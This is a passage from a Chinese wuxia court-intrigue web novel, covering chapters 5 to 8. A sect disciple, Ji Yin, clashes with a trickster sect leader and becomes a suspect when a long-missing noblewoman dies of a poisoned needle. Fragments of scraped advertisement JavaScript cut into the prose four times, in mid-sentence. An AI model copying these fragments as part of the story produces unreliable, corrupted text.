他顿了一顿:“要怪就怪你与她有几分相像,令我心生恐惧,不敢不防。” 心生恐惧?季音望着对方明明一副“幸灾乐祸”的模样,怒火直冒:“你这种人能娶到媳妇就该谢天谢地了,居然还嫌这嫌那的!你跟你未婚妻闹矛盾关我什么事,有本事你便报上名来,看我下次怎么收拾你!” “我虽没本事,不过我知道最近的茅厕在什么地方。看在你方才赞扬我烤串手艺的份上......把账结了,我就告诉你,如何?” 季音扯下钱袋就往他脸上砸:“给给给,赶紧说!” 他心满意足地颠了颠钱袋:“最近的茅厕当然在贤安王府内了。” 季音忍得脸都白了,听得此话,顾不得三七二十一就要动手。 “啧,别急啊,想你也不敢在贤安王府的茅厕解决。沿着底下这条路先向南走,再向北拐,有一个小树林,非常适合你。” 季音咬着后槽牙挤出了几个字:“臭骗子,我记住你了!” 紫袍男子望着她仓皇离去的背影,笑着挥了挥手:“钱来姑娘,别忘了来捧场啊。” 话音刚落,一道凌厉的剑气陡然袭来,削斩攻势若闪电般迅猛,四周的草木都被震得颤栗不已。 他却仿若没有瞧见,只是俯身捡起四分五裂的芭蕉扇:“赤霄剑被抢了,这把剑也挺厉害的嘛。可惜你毁了我的芭蕉扇,今夜注定与烤串无缘了。这样吧,司玄,我请你喝酒怎么样?” 司玄抬手拭去面颊上的血迹:“不如看看是本座的酒先饮完,还是你的人先断气。” 紫袍男子赶紧摆手:“我这不是看你刚杀完人,需要小饮一杯休憩片刻嘛。不喝就不喝,别发火啊。” 司玄抬眸:“呵,老狐狸,想要密函就直说。” “啧,这么了解我。司玄,你该不会是喜欢我吧?” “想死的话,本座可以成全你。” “哎呀,说话不要这么冲嘛。死之前,我总得看一眼你这辛辛苦苦抢来的密函不是?” 司玄将长剑收入剑鞘:“怎么,白清旭,你想当皇帝?” 紫袍男子感慨道:“我的评价,当皇帝不如开酒馆。” “密函如今在本座手中,而本座自有本座的选择。” 白清旭点头:“啊,如此甚好。只是方才我遇见了一位钱来姑娘,似乎与你......渊源颇深啊。” 司玄冷冷开口:“关你何事?” “照理来说,确实不关我什么事。不过她吃了我的烤串,里面有不少特制巴豆粉。当然,没有解药也不过多泻两日罢了,听说她身体极好,应该没什么大问题......” 下一瞬,密函已被递到了白清旭的面前。 “不愧是天下第一,就是爽快。”白清旭接过密函,从怀中掏出一只瓷瓶:“沿着底下这条路先向南走......算了,东豫的路你应当熟得很,自己找吧。” 乌云散去,皎洁如霜的月光洒在了屋檐之上。 凉风掀过,卷起了密函的一角。 雪白的宣纸上空空如也,干净得可怕。 “哎呀,大功告成,回去烤串喽。” 贺影返回殿内,俯身于案几前:“殿下,他们走了。” 白夜澜揉了揉眉心:“这场闹剧......终也结束了。” 贺影应道:“不过如今密函被抢,咱们下一步该当如何?” 白夜澜轻笑:“本就是一纸空文,惑人视线罢了,父皇这人啊,就是疑心病太重。至于老三......还是跟十二年前一样,毫无长进。既然如此,本王就只有陪他将这出戏唱到底了。” 说罢,他抽出一册新的文卷,缓缓展开:“差人将密函失踪一事传出去,传的越广越好。天已渐明,看来......是时候收网了。” 一片寂静的草丛内,偶尔传出几道响亮的蛙鸣声。 还好,这附近有几户人家。 借完茅厕,季音千恩万谢地走了出去:“臭骗子,害我这么狼狈,看我下次......” “还想有下次?看来小季音是一点记性都不长。” “......司玄?!你怎么在这里?密函呢?你交给贤安王了吗?” 司玄将手中的瓷瓶递出:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把药吃了。” “你遇到那个臭骗子了?他没骗你吃肉串吧!”季音说着就把药往对方怀里塞:“你要是吃了的话就赶紧吃药,我已经没什么大事了。” 司玄道:“想骗本座,那老狐狸还得再练几百年。” 她安下心来,看都不看便将药整颗吞下:“那这次的任务算不算圆满完成?我是不是......能混个精英弟子当当?” “小季音不怕这药有问题?” “若是那个臭骗子给的,我自然得仔仔细细地检查。不过既然是你给的......想必已经检查好了,我干嘛还要再浪费时间。” 听得此话,司玄似乎有一瞬间的怔愣,但旋即恢复了正常:“只不过完成了一次任务,小季音离精英弟子还差得远。” 季音翻了个白眼:“你这算哪门子喜欢,连水都不给放......喂,司玄,你走这么快干嘛,等等我啊......” 七日后,东豫城上元街旁名为“有间茶馆”的茶楼人声鼎沸,高朋满座。 “话说当日朝堂对峙,尊宣王领将率兵打算强抢皇位,却正中贤安王的计谋,一招瓮中捉鳖后贤安王竟拿出了传国玉玺,将异己势力尽数铲除。尊宣王仍不甘心,决意率领剩余人马破釜沉舟,剑拔弩张之时,一位众人意想不到之人却在此时出现。” 季音将半块青枣酥塞到口中,目光转向说书人所立的高台。 “那位平日不涉朝政,久居皇宫的八皇子康宁王,竟率满朝文武百官前来恭贺新帝登基。事已至此,贤安王为人心所趋。尊宣王骑虎难下,大势已去,不得不支持贤安王登基。” 季音抿了口茶水:“我就说嘛,看面相也知道贤安王更有皇帝模样。不过这位康宁王......倒也是个聪明人啊,若不是年纪尚小,恐怕能有大建树。” “贤安王登基后,称文贤帝,改国号文安。册封礼后文贤帝推行新政,薄赋税,轻徭役,大赦天下,普天同庆啊!” 一阵掌声响起,说书人在众人打赏中下台。 “老皇帝也真是的,早就偷摸把玉玺传给了二皇子,还弄出个什么密函来,这不是越搞越麻烦嘛!” “想不到八皇子竟是二皇子的人,二皇子这步暗棋下得妙啊。” “要我说,还是这位八皇子有手段。平日里看着闷不做声的,一到关键时刻竟是大显身手!若不是他年纪太轻,这皇位落入谁人之手......怕是还未可知啊。” “诶,那位六皇子呢?怎么连个消息都没有?” “害,一个残废,你还指望他能成事儿啊!” “贤安王这一登基,那贤安王妃岂不就成了皇后了?唉,看看人家夷光大将军,真是好福气啊!自己的亲妹子成了皇后,以后他不就是皇帝的大舅子了!” 一人磕着瓜子道:“话也别说这么早!谁不知道贤安王最宠爱的是左相付朝的幺女,皇后这位置谁能坐上,我看还说不准呢!” 邻桌拍掌附和道:“说得不错!俗话说不看僧面看佛面,这左相付朝乃两朝元老,当年更是凭着惊九之案深得先皇信赖重用。贤安王初登大位,想坐稳这把龙椅,估计少不得要借人家的手。” “惊九之案”四个字一出,季音明显感觉周遭的氛围倏地变了。 5. 旧案疑云 此案乃紫宸十二年前的一桩旧案,波及之广,影响之大,饶是第一次下山的季音,也听过不少关于此案的消息。 十二年前,镇元大将军凌霆与崇遥王白溯淮联合勾结司夏国,叛国通敌,意图谋反。幸得白羽沅与左都御史付朝等众权贵察觉异样,力挽狂澜,这才避免了一场灾乱。 事后,白曦为嘉奖有功官员,特办“鎏金盛宴”。诸如夷光大将军夏渊,吏部尚书王钧等功臣均得了极为丰厚的赏赐,左都御史付朝更不用说,相袍加身,名垂青史。 白羽沅也因此深得白曦看重,一举成为朝堂呼声最高的太子人选。 依季音看,朝廷忠勇之臣为国为民,鞠躬尽瘁,这本为美谈一桩,别说为百姓津津乐道,就算是专门编出戏文来称颂也不奇怪。 但不知为何,此案结束后,不但没有大肆宣扬,反而成了无人再提的陈年往事。 窃窃私语之声越传越广,季音端着一盘青枣酥凑到旁桌:“两位大哥,这惊九之案莫不是还有什么内情,怎么大家都好像避而不谈?” 较为瘦弱的白衫男子道:“避而不谈?十二年前闹得那般沸沸扬扬,连街上的流浪狗都知道有这么桩事,怎么可能避而不谈?与其说是不谈,倒不如说是不敢正大光明的谈。” 另一位男子开口:“是啊,当年紫宸七城皆是人心惶惶。凌霆手底下是什么人?那可是紫宸最有名的天驰军啊!他们若与司夏合兵,杀入东豫王城还不是顷刻间的事情!” “幸得文昭帝明察秋毫,派夏渊连夜带兵围剿,九万天驰军最终魂断素城,只余黄土白骨。你想想,九万将士啊,居然就这样全军覆没了!因此事死伤极为惨重,且太过震撼,故而得名惊九之案,成了人人谈之色变的旧案。” 季音不解:“谈之色变?听起来不过是镇压叛军导致死伤过多,为何会谈之色变?” “说得好,这桩旧案的重点,就在叛军二字上。” 男子喝了口茶水:“小姑娘,你知不知道那凌霆与白溯淮是什么人?” 季音摇了摇头。 “这两个人,一个是文昭帝的挚交好友,一个是文昭帝的同胞亲弟,都是陪着他打江山的人物,更是他的左膀右臂!故而此案爆发后,谁也不相信他们会做出这种事情。” 白衫男子接道:“更何况,当年天驰军的骁勇神武之姿,紫宸百姓那是无人不知,无人不晓啊!这样忠心耿耿,卫国护民的将士,说他们谋反......刚开始这事传出来的时候,谁不觉得可笑?” “可是后来,随着事情逐渐发酵,通敌卖国,结党营私,觊觎后妃......凌霆的恶行越揭越多,罪名层出不穷,加之文昭帝是众所周知的至圣至明,若不是证据确凿,挚友背叛,他又如何会这般雷霆大发,龙颜震怒,一道圣旨抄了凌府满门?!” “身为帝王,却识人不清,惨遭旧友亲人背离,还能是什么光彩的事?再说了,皇帝的短处痛处,哪里是我们这些老百姓能评头论足的?今天你说了,指不定明天就被抓去教育一顿!这么一来二去的,谁还敢多提一句?” 季音点了点头,又端着青枣酥坐回到原来的位置。 既有卖国贼子,便会有忠义之臣。 她身为冥麟阁的弟子,早便听司玄说过,无论是朝堂纷争还是江湖纠葛,本就相互依附,密不可分。 否则二王争位当晚,也不会有那么多江湖高手现身东豫王城。 但季音却对此无甚兴趣,更不想牵扯其中。 在冥麟阁,只有入选精英弟子才能私接暗杀任务,实现银钱自由。因而季音只想赶紧完成历练任务,当上精英弟子,回霜余山逍遥快活。 毕竟俗话说得好,外面千好万好,都不如家好。 念及于此,她从怀中取出了几日前司玄交给她的纸条。 上面只有简简单单三个字:空青扇。 “居然给刚下山的弟子布置这么难的任务,还有没有天理了?” 空青扇,四大神器之一,亦是除了司玄的赤霄剑外,第二件现世的神器。 江湖传言,四大神器乃是前朝太元国两位高人呕心沥血打造而成。得神器者,或可功力大增一统天下,或可长生不死名传千古。 不过季音向来将这话当成笑话听:“这种骗小孩子的鬼话也有人信?” 事实证明,确实有。 三年前,末名派掌门萧敬安与其得意门生萧夙墨隐姓埋名,乔装打扮混入冥麟阁。两人待时机成熟后,先是杀害前任阁主司徒越,再盗走赤霄剑,连夜潜逃下山,消失得无影无踪。 几年来,末名派凭借赤霄剑,在武林中的地位水涨船高,日益鼎盛,甚至一跃成为五大正派之首,被朝廷封为紫宸国派。 “国派?我呸!”当时上课正犯困的季音听得此话,马上来了精神:“白送咱都不稀罕!” 话虽如此,但自从得了国派的名号后,末名派便以肉眼可见的速度迅速壮大起来。文武官员,皇亲国戚,竟都不约而同地将自家子弟往里面塞,还不忘美其名曰“丰富阅历”。 如今紫宸江湖的五大正派均有立世之术。末名擅剑术,云天通幻术,琼燕掌机关,繻泯修符咒,未央专药术。 五大正派以末名派为首,撑起了明面上的紫宸武林。虽然关于各派私下交情的流言错综复杂,但它们表面功夫却做得极佳,瞧着都是祥和平静,相敬如宾。 至于她此番历练任务中提到的空青扇,虽与末名派扯不上关系,可也是藏于五大正派之一的云天派。 简而言之,不是她这种刚入江湖的毛头喽啰能应付了的。 不过听闻云天派现任掌门白清旭,是个花天酒地,不务正业的荒唐性格。再加上季音向来是嘴硬逞强的一把好手,因而当司玄提出此事时,为了不被看扁,她想也没想便应承下来:“小事一桩,等着瞧吧。” 只是季音没想到,第一次下山,便遇着个惹人讨厌的江湖骗子。 骗人就算了,居然还骗钱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,简直天理难容! 前几日一直吃司玄喝司玄的,并未发觉有什么异常。直到方才喊小二结账时,季音才发现自己穷得就快要露宿街头了。 “看我下次逮住那个臭骗子怎么收拾......靠!什么东西?!” 一道人影从面前闪过,季音眨了眨眼,只见手中最后几个铜板也被抢了个干净! “不是吧,我都这样了还欺负我?!” 顾不得思考,她一个旋身便追了出去:“小贼站住!” 上元街商铺林立,人流如潮。幸好那小贼似乎是个新手,动作不快,模样被她瞧了个清楚:约莫八九岁的少年,衣大如袍,脚底下还踩着双黑黢黢的草鞋。 若不是方才她分了神,定然不会让这小贼得手! 季音追得不慢,但这小孩儿却凭借瘦小的身躯躲得极为灵敏。别说要回铜板,片刻后竟是连个影子都找不见了。 无奈,季音只得作罢,同时不忘打量街边的店铺,看看有哪个正缺人手,好让她打点儿散工赚点儿银子。 “这江湖骗子,不知吃了几顿霸王餐了!今日可算是逮到他了!” “揍他!” 听得此话,季音赶忙顺着声音传来的方向望去——只见一群带着面具的人正抄着锅碗瓢盆朝一旁的紫衣男子砸去。 紫衣男子却一手拎着酒壶,一手举着炸串,从容不迫地边躲边道:“下次还,下次肯定还。” 季音瞬间被这道有些熟悉的身影吸引了注意,定睛一瞧,可不就是那夜在贤安王府遇到的臭骗子! 真是踏破铁鞋无觅处,得来全不费工夫,看她怎么收拾这家伙! 念及于此,季音心下一喜,旋身便拦住了对方:“哟,栽了?” 白清旭停住脚步,唇角一扬:“笨女人,好巧。” 经上次一事,季音对此人已是意见极大,现下又见其一副嬉皮笑脸的模样,当即来了火气:“什么笨女人?本姑娘有名字,姓季名音,能不能好好说话?!” 白清旭笑道:“原来是季音姑娘,失敬失敬。不过姑娘这嗓门,委实与‘寂音’二字相差甚远。要我说,不如钱来好听。” 季音愠道:“会耍贫嘴是吧?来来来,有本事你再耍一句,我保证让你生不如死。” 白清旭勉强止住笑意,不慌不忙地开口:“哦?有点儿意思,说来听听。” 季音一脸挑衅地望着他:“七窍流血肌肤溃烂知道吗?血气暴涨经脉逆流听过吗?对付你一个不会武功的骗子,还不是手到擒来的事!” 白清旭若有所思地点了点头:“啧啧,听起来确实可怕,不过......”他话锋一转,突然笑着指了指身后追来的酒楼伙计:“在此之前,还要麻烦季音姑娘替我挡上一挡了。” 季音“?” 再回过神来时,对方早已溜得连影子都瞧不见了。 她望着站在自己面前的一帮面具,挤了个笑:“那个......我不认识他。” 6. 骗钱大师 “不认识?那你们刚才怎么有说有笑的!” “大哥,你哪只眼睛看见我笑了?” “还说没有,你现在这不是笑着呢嘛!” “......苦笑也算笑?!” 许是见季音孤孤单单一个小姑娘,又或许是她一番真情实感的解释起了作用,总而言之,几个酒楼伙计并未继续为难她,只是骂了白清旭几句便提着家伙回去了。 季音立在原地,一想到自己替别人挡了枪,还是替那种家伙挡枪,便忍不住道:“靠!这臭骗子!不要脸!” “那怎么行?我这张脸旷古烁今,如若不要,岂不可惜?” 厚颜无耻!季音冷笑一声,转身冲着倚在墙角的白清旭道:“是啊,厚比城墙,闻所未闻,堪称惊天地泣鬼神了!” 白清旭轻笑一声:“嗯,多谢夸奖。” 眼见要被对方牵着鼻子走,季音咬了咬牙,赶紧换了话题:“别废话了,臭骗子,还钱!” “还钱?”白清旭脑袋微偏:“这又是从何说起?” 季音瞪了他一眼,凶巴巴道:“装什么傻!在肉串里下巴豆粉不说,还抢了我的荷包,这事儿不能就这么算了!” 白清旭摆出一副恍然大悟般的模样:“啊......可是季音姑娘,我怎么记得.......肉串是你要吃的,荷包也是你要给我的?” “那还不是因为你骗我在先?!”季音眼见说不过他,索性从袖口掏出两根流云飞针,直接动了手:“懒得跟你废话,快还钱!不然我就毒死你!” 白清旭却也不恼,摇了摇手中的炸串道:“笨女人,不要动怒,经常动怒会变得越来越丑的。来,吃根炸串消消气。” 这家伙,又开始打太极了! 季音哪能惯着他,举起流云飞针就要往他身上扎。 就在此时,白清旭不紧不慢地从怀中掏出一张票子:“拿着这个去钱庄,自会有人领你拿钱。” 季音半信半疑地接过票子,简单瞥了一眼,却惊得差点儿没跳起来。 “一......一千两?!” 这也委实不能怪她。在冥麟阁,她都是一两银子掰开了花。而今莫名其妙得了张一千两的票子,任谁也不能无动于衷吧。 白清旭感慨道:“没办法,谁让我是个善人老板呢。” “......你都这么有钱了,还骗什么钱?” “谁会嫌钱多?” 季音哑口无言,翻了个白眼,转身便往钱庄走。 半个时辰后,她揣着一沓纸币与一包银子笑靥如花:“看来连老天爷都不舍得让我睡大街。” “拿到钱了?”白清旭摇着折扇出现在了钱庄门口。 季音脸上的笑容瞬间消失,同时下意识护住银子:“又是你?你这人怎么阴魂不散的!” 他将扇子一合:“笨女人,我可是专程赶来救你的。” “救我?” “是啊。方才的票子上写得清清楚楚,这些银子是我借给你的。一千两银子按月翻息,拖欠一月便需多还一百两。我若是不来告诉你这个消息,你岂不是一辈子都还不完了?” 季音一惊,连忙掏出票子仔仔细细打量了一番:“哪里写了?你少胡扯!” 只见白清旭抬手指向最上方一行极小极小的字:“看来你不仅脑袋不灵光,眼神也不怎么好使。” 她第一次下山,哪里见过这种花里胡哨的“骗术”,下巴差点儿没被惊掉:“......靠!你这字是给人看的吗?!简直卑鄙无耻!” 白清旭耸了耸肩:“好借好还,再借不难嘛。” 季音气得发抖,抽出飞针便准备动手:“臭骗子,受死吧!” 突然,一阵由远及近的脚步声自她身后响起! 这人脚步很重,不像是会武功的样子,而且一深一浅,应是腿部受了重伤。 在季音转身的一瞬间,对方猛地撞入了她怀中。 季音生得本就高挑,怀中之人在对比下实在太过瘦弱,就像抱着一具骷髅,硌得她难受。 就在这时,那人抬头,惊得季音向后退了两步。 不......这简直不能算是个人了! 女子瞧起来不过三四十岁,可脏污蓬乱的头发已变得花白,一只眼睛被人生生挖了去,嘴上豁着口子,破烂衣袍下的皮肤白得吓人,粘满了不知是污血还是什么的暗红渍迹。 至于方才猜测的受了伤的腿,季音视线下移,她整个右膝坑坑洼洼的,竟是被人剔了骨! 就算是在冥麟阁,也很少见如此残暴的手段,更别说是在东豫王城,天子脚下。 女子像是刚从什么地方逃出来一样,大口喘着粗气,同时不停地发出呜呜啊啊的怪声。 季音察觉不对,连忙抬头。 黑洞洞的嘴巴里,居然没有舌头! 女子却全然不管这些,只是着急地晃着季音的胳膊,仅剩的那只眸子瞪得大大的,浑浊的眼睛中倒映出季音的脸庞后,竟是倏地亮了起来。 只是这一眼却仿若烟火绽放,转瞬即逝。 下一瞬,女子整个身子僵了下去,瘫倒在季音怀中,没了气息。 季音被这突如其来之事撞得有些发懵,悬着的双手就这么僵在了半空中。 直到“杀人了”的喊声在耳边响起,她才发现自己已被上元街的百姓围了个水泄不通。 不妙,再这样下去,若引来官府的人,只怕她能否成功脱身都是两说,更别提完成历练任务了。 议论声越来越大,依季音的脾气,哪能吃得了这种哑巴亏,一时也顾不得什么官府不官府了:“明明是她自己撞上来的,关我什么事!况且我根本就不认识这人,为何要杀她?!” “少抵赖了!大家伙儿看看那尸体的脖子,两个血淋淋的窟窿啊!再看看她手里......那么长根针,不是凶器是什么?!” “我知道我知道!以针为器,淬毒封喉,听说是那些江湖人常用的手段!” 窟窿?季音赶紧去看,果不其然,女子脖颈鲜血直涌处,明晃晃地亮着飞针留下的伤痕。 可她分明就没有动手,为何会这样?! 一股不祥的预感自季音心底弥漫开来。 另有一人附和道:“诶,听说前几天死的那个吏部尚书王钧,脖子上好像也有这么两个窟窿!” 不知是谁喊了一句:“官府来人了!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 季音暗骂一声,环顾四周,撇下尸体就想开溜。 突然,袖口一紧,熟悉的身影拦在了她的面前。 季音抬眸:“......臭骗子?” 白清旭摇着折扇笑道:“先别急着走。” 季音一脸莫名其妙地望着他:“不走干嘛?等死啊!” 白清旭挑眉,同时抬扇指了指不远处匆匆赶来的官兵:“以你的身手,逃了也会被抓回来,还不如省点儿力气。” 季音懒得跟他废话,推开他就要跑。 “何人敢在东豫城闹事?” 季音转身,只见一黑一白两道身影正朝这边走来。 与此同时,原本还算安静的人群瞬间嘈杂起来。 季音狠狠瞪了白清旭一眼:完了,这下想走也走不掉了。 “诶,国派也来人了?” 国派?末名派?季音暗暗在心底骂了一句,突然又听得有人道:“不得了!来的居然是萧夙墨萧公子!” “萧夙墨”三字一出,季音登时僵在了原地。 萧夙墨,末名派掌门座下首席大弟子,世皆称颂“名家风范,子弟楷模,”现于巅峰榜排行第七。 当年此人与他师父一同混入冥麟阁,杀害老阁主,盗走赤霄剑,早就成了冥麟阁所有弟子的眼中钉。 若不是季音如今自身难保,就算是为了司玄,即使明知是不对手,也定然会与他战上一战。 念及于此,她愤愤抬头,不偏不倚,正对上了萧夙墨的视线。 对方身着玄色长衫,乌黑的头发以银冠束起,长身玉立,身姿挺拔。 奇怪的是,他左半张脸英气端正,棱角分明,目光犀利如天上鹰隼。右半边脸却被一张银制面具遮挡,只余一束毫无波动的目光。 萧夙墨似乎也瞧见了她。 可出乎季音的意料,他那张冷若冰霜的面颊,居然闪过了一丝转瞬即逝的错愕。 不待季音反应过来,对方已是立在了她身前。 也许是不习惯被人这么盯着,季音总感觉心里有一股说不出的怪异感,原本攥紧的拳头竟是泄了力,身体也不由自主地想往后撤。 下一瞬,白清旭摇着折扇挡在了两人之间。 看清来人,萧夙墨面具下的目光蓦地阴沉了几分:“......你来做什么?” 他们认识?而且看起来似乎关系不佳? 季音转了转眸子,决定静观其变。 就在这时,那位白衣男子走了过来:“萧公子,究竟发生了何事?” 萧夙墨转身道:“荣大人,命案。” 荣尘,官拜东豫城太守一职。此人身为相府门客,乃左相付朝一手提拔,与其关系极佳。 季音偷偷瞥了一眼,四十上下,慈眉善目,身宽体胖,瞧着倒是个好说话的。 太守亲临,不过三两下功夫便稳住了围观群众,同时差人殓了尸体。 季音望着面前一脸悠闲的白清旭,没好气道:“你在这儿杵着干嘛,怎么还不走?” 白清旭道:“自然是等着看场好戏。” 季音不解:“什么好戏?” 白清旭笑道:“六月飞雪。” 7. 奇毒现世 话音未落,只见一人匆匆跪至荣尘面前道:“禀大人,查清楚了,尸体为杨府大小姐杨雯。” 此言一出,才安静下来的人群瞬间又炸开了锅。 “杨家大小姐?刑部侍郎杨攀的妹妹?她不是十二年前就死了吗?” “屁嘞!死的是那个养女杨素欢,干杨雯什么事?” “快闭嘴吧,杨素欢你也敢提!人家杨家早不承认有这么个养女了,你还嫌事儿闹得不够大啊!” 季音虽未听说过杨雯,但杨素欢此人,她却是知道的。 传闻那年白曦继位不久,为肃清贼子,整顿朝堂,特办“鸣玉盛宴”,意欲借晚宴之机辨忠奸,除权臣。 彼时凌霆刚刚受封镇元大将军,乃白曦最为信任之人,自然担起了“清君侧”的重担。 可古话说得好,人红是非多。凌霆年纪轻轻便受封一品大将军,引得不轨之人眼红心热,竟趁歌舞升平时搅乱会场,妄图除掉凌霆。 白曦并非先帝属意,如今登基,少不得凌霆与白溯淮一武一文左右辅佐。若凌霆身死,如同断白曦一臂,尚未坐稳的皇位定要拱手相让。 一片混乱中,凌霆只顾护白曦周全,全然未曾料想幕后之人的目标竟是自己。关键时刻,杨家二小姐杨素欢提剑而出,红衣胜枫,反手将凌霆护在了身后。 这一护可不得了——凌霆乃当朝大将军,曾率九万天驰军拼搏厮杀,护全国百姓平安顺遂。如今却被一女子护在身后,还护得这般恰到好处,自然得当,瞬间引得名为《霸道女侠纯情郎》的话本于大街小巷广为流传。 后来,杨素欢的名号前,多了镇元将军夫人这一点缀。 再后来,震惊天下的惊九之案爆发,凌霆与九万天驰军于素城伏法。杨素欢手持一柄长剑,单枪匹马闯入朝堂大殿,声诉此案十余点可疑之处,慷慨陈词,毫无惧色。 此举轰动了整个紫宸。据说当时不少认定凌霆叛国谋反的官员,在听过杨素欢的陈词后,竟悉数摇摆不定起来。 记得季音第一次听师姐讲述这事时,惊得差点儿没跳起来:“那她后来怎么样了?” 身为官家贵女,将军夫人,却有如此胆识。抛开其他不谈,单就此举,足已让季音对她心生几分敬佩。 可惜叛国通敌的罪名早已坐实,不仅未能求得翻案,反而惹得白曦龙颜大怒,盖以乱党之罪名一同问斩。 城门失火,难免殃及池鱼。杨素欢身为杨家养女,经此一事,叛国逆贼的矛头自然而然指向了杨家。 只是杨家早已有所顾虑,拒不承认有这一养女不说,甚至递上了有关凌霆结党营私的其他证据,彻底打消了朝堂君臣的怀疑。 可谁能想到,杨素欢身死不久,杨雯便遭人绑架,彻底失去了行踪。整整十二年,任凭杨家人如何寻找,就是不得丝毫线索。 因而如今她的尸体堂而皇之出现在这里,自然不能不能引人猜忌纷纷。 荣尘眉头紧锁:“死因呢?” 萧夙墨冷冷道:“银针封喉,毒发身亡。” 下一瞬,季音便被几个官兵围了起来。 荣尘缓步上前:“小姑娘,你是什么人?” 眼下杨雯脖颈上飞针的伤口尚且存疑,况且末名派的人在此,强闯定然行不通。 念及于此,季音转了转眼珠,正打算胡诌些东西应付,却听得身旁的白清旭道:“云天派弟子,钱来。” 季音一惊,差点儿没被口水呛死。 荣尘显然并未相信:“哦?云天派的弟子?”说罢,他将目光对准了白清旭:“那不知你又是......” 白清旭唇角一扬:“云天弟子,钱惜。” 季音忍不住翻了个白眼:这编名字的水平还能再差一点儿吗? 果不其然,接连两个怪名蹦出,不少围观群众都忍不住笑出了声。 萧夙墨望向白清旭,额角青筋一跳:“胡言乱语,绑了带走。” 荣尘却道:“诶,不急。”他看着季音:“这位姑娘既是云天派的弟子,不知师承何人?” 夭寿啊!这臭骗子真是把她坑惨了! 她不过是个刚下山的小喽啰,哪里知晓云天派都有些什么角色? 荣尘见她不答,眸中瞬间添了些怀疑的意味。 季音见状,脑袋一热,几乎是脱口而出道:“白清旭!” 饶了她吧,眼下这种情况,她满脑子里跟云天派沾边的,只有空青扇和白清旭这两样东西了。 不出所料,这三个字一出,在场众人脸上的神情瞬间变了。 “白清旭?哪个白清旭?云天派掌门白清旭?!” “就是那个整日花天酒地,四处逍遥,门派事务一律扔给长老魏奚泽的混子掌门?” “混子?哪个混子十九岁就能当上一派掌门?你们这群没眼力见的,人家那是大智若愚,深藏不露!” “深藏不露?笑死人了!要不是他师父死得早,掌门的位置岂能轮得着他这么个小娃娃坐?” 萧夙墨面无表情道:“荣大人,这两人满口谎话,言行异常,不如由我带回细审。” 荣尘语气中则是明显添了几分兴趣:“白清旭的弟子?大抵是荣某已许久未在江湖上走动,还不太熟悉新添的面孔。” “欸,无妨无妨。”白清旭抬扇指了指立在一旁的萧夙墨:“实不相瞒,我与这位萧公子乃旧相识。只是前不久闹了些过节,惹得萧公子有些不痛快。但我相信,萧公子大人有大量,定然会放下成见,帮忙作这个证的。”说罢,他笑嘻嘻地站在了对方面前:“是不是啊,萧公子?” 季音听完,只感觉自己以后再也无法直视“萧公子”这三个字了。 萧夙墨显然怒气更甚,一张脸肉眼可见地黑了一半,低声骂道:“......有病。” 白清旭挑眉:“看吧,萧公子说了,没错。” “既然如此,倒也不必审问了。”荣尘顿了一顿,将目光转向了两人:“听说杨攀大人近日新得了不少好茶,不如咱们一同前去上门拜访?” 萧夙墨不语,神情晦暗莫测。倒是白清旭点了点头,一口答应下来:“好啊,那就恭敬不如从命了。” 季音在一旁看得目瞪口呆:“不是吧,这也行? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 杨雯失踪已有十二年。十二年来,杨府上下无一日不在寻找。可当荣尘将杨雯的尸身带到时,竟无一人敢上前认领。 杨攀愣在原地,久久没有动作:“荣大人,这......这当真是......我家......小妹?” 季音清清楚楚地听到了一声哽咽,他说不下去了。 荣尘叹了口气:“杨大人,逝者已逝,节哀顺变。” 殓布掀起,随着阵阵惊呼,杨雯面目全非的尸体暴露在了众人面前。 “是姑姑!是姑姑!” 季音抬眸,只见一与自己年纪相仿的女子哭喊着从人群中奔了出来:“姑姑......姑姑......”她扑在杨雯的尸体上,泣不成声:“怎么这样......为什么会这样......” “锦月,别哭了。”杨攀向前两步,静静望着杨雯的尸身:“荣大人,凶手在何处?” 荣尘将事情的来龙去脉简要讲述一番。 杨攀听罢,转身将视线对准了季音。 不知为何,她总感觉对方的神情有些奇怪,似乎透过她望见了什么别的人。 “在下可否瞧一瞧钱姑娘的飞针?” 季音捏紧了手中的流云飞针,没有动作。 虽说尚且不清楚杨雯脖颈处的伤口是否与流云飞针有关,可若冥麟阁弟子的身份被拆穿,只怕她今日能否囫囵着离开杨府都是两说。 就在她思索应对之策时,白清旭已将手中的飞针递出:“飞针?我这里多得很啊。不过这笨女人总喜欢在上面淬什么辣椒粉,麻椒粉,您看的时候可要当心些。” 杨攀敛眸,接过飞针。果不其然,虽极难察觉,但仔细瞧去,每根飞针的针尖均可见点点暗红,显然与杨雯的伤口并不吻合。 荣尘开口:“银针上淬了见血封喉的毒,一击毙命,依在下之见,倒像是冥麟阁那群魔头的作风。” 季音咽了咽口水,尽量摆出一副若无其事的神情。 杨攀语气凝重:“什么毒?” 萧夙墨道:“青麟毒,紫宸奇毒榜排名第六,出自冥麟阁毒宗长老程十鸢之手。” 季音一怔,只感觉脑袋乱哄哄的。 怎么回事?这件事怎么会跟师父扯上关系? 在她的记忆中,师父潜心研习毒术,这些年一直待在霜余山。虽说年轻时在江湖上闯荡结下了不少仇家,但无论如何也不会与这位十二年前就下落不明的官家小姐扯上关系。 再说了,以师父的身手,处理一个不会武功的人,又怎会留下这种破绽? 不行,不能让他们将查证的矛头对准师父! 她抿了抿唇,正打算开口,却被白清旭一把摁住了手腕。 “青麟毒?我也有啊。”只见他满不在意地晃了晃手中的瓷瓶:“都看我作何?这毒又不贵。” 下一瞬,萧夙墨猛地上前一步:“拿过来。” 白清旭双手抱于胸前,似笑非笑道:“萧公子这是何意?就算不贵,也不能直接明抢不是?还是说......如今的国派已经教起了强取豪夺的把戏?” 8. 故人重逢 荣尘忙道:“钱公子说笑了。仅凭青麟毒,确然无法断定凶手为何方势力。何况杨雯姑娘身上这些伤口乃陈年旧伤,只怕还需进一步剖尸验尸。” 萧夙墨正欲开口,却被白清旭笑着打断:“既然如此,不知我们能否先行告辞?毕竟掌门吩咐我们二人早些回去,若再耽搁,只怕要赶不上今日的船了。” 萧夙墨冷冷道:“二位既为云天弟子,路遇凶案,自有义务出手相助。” 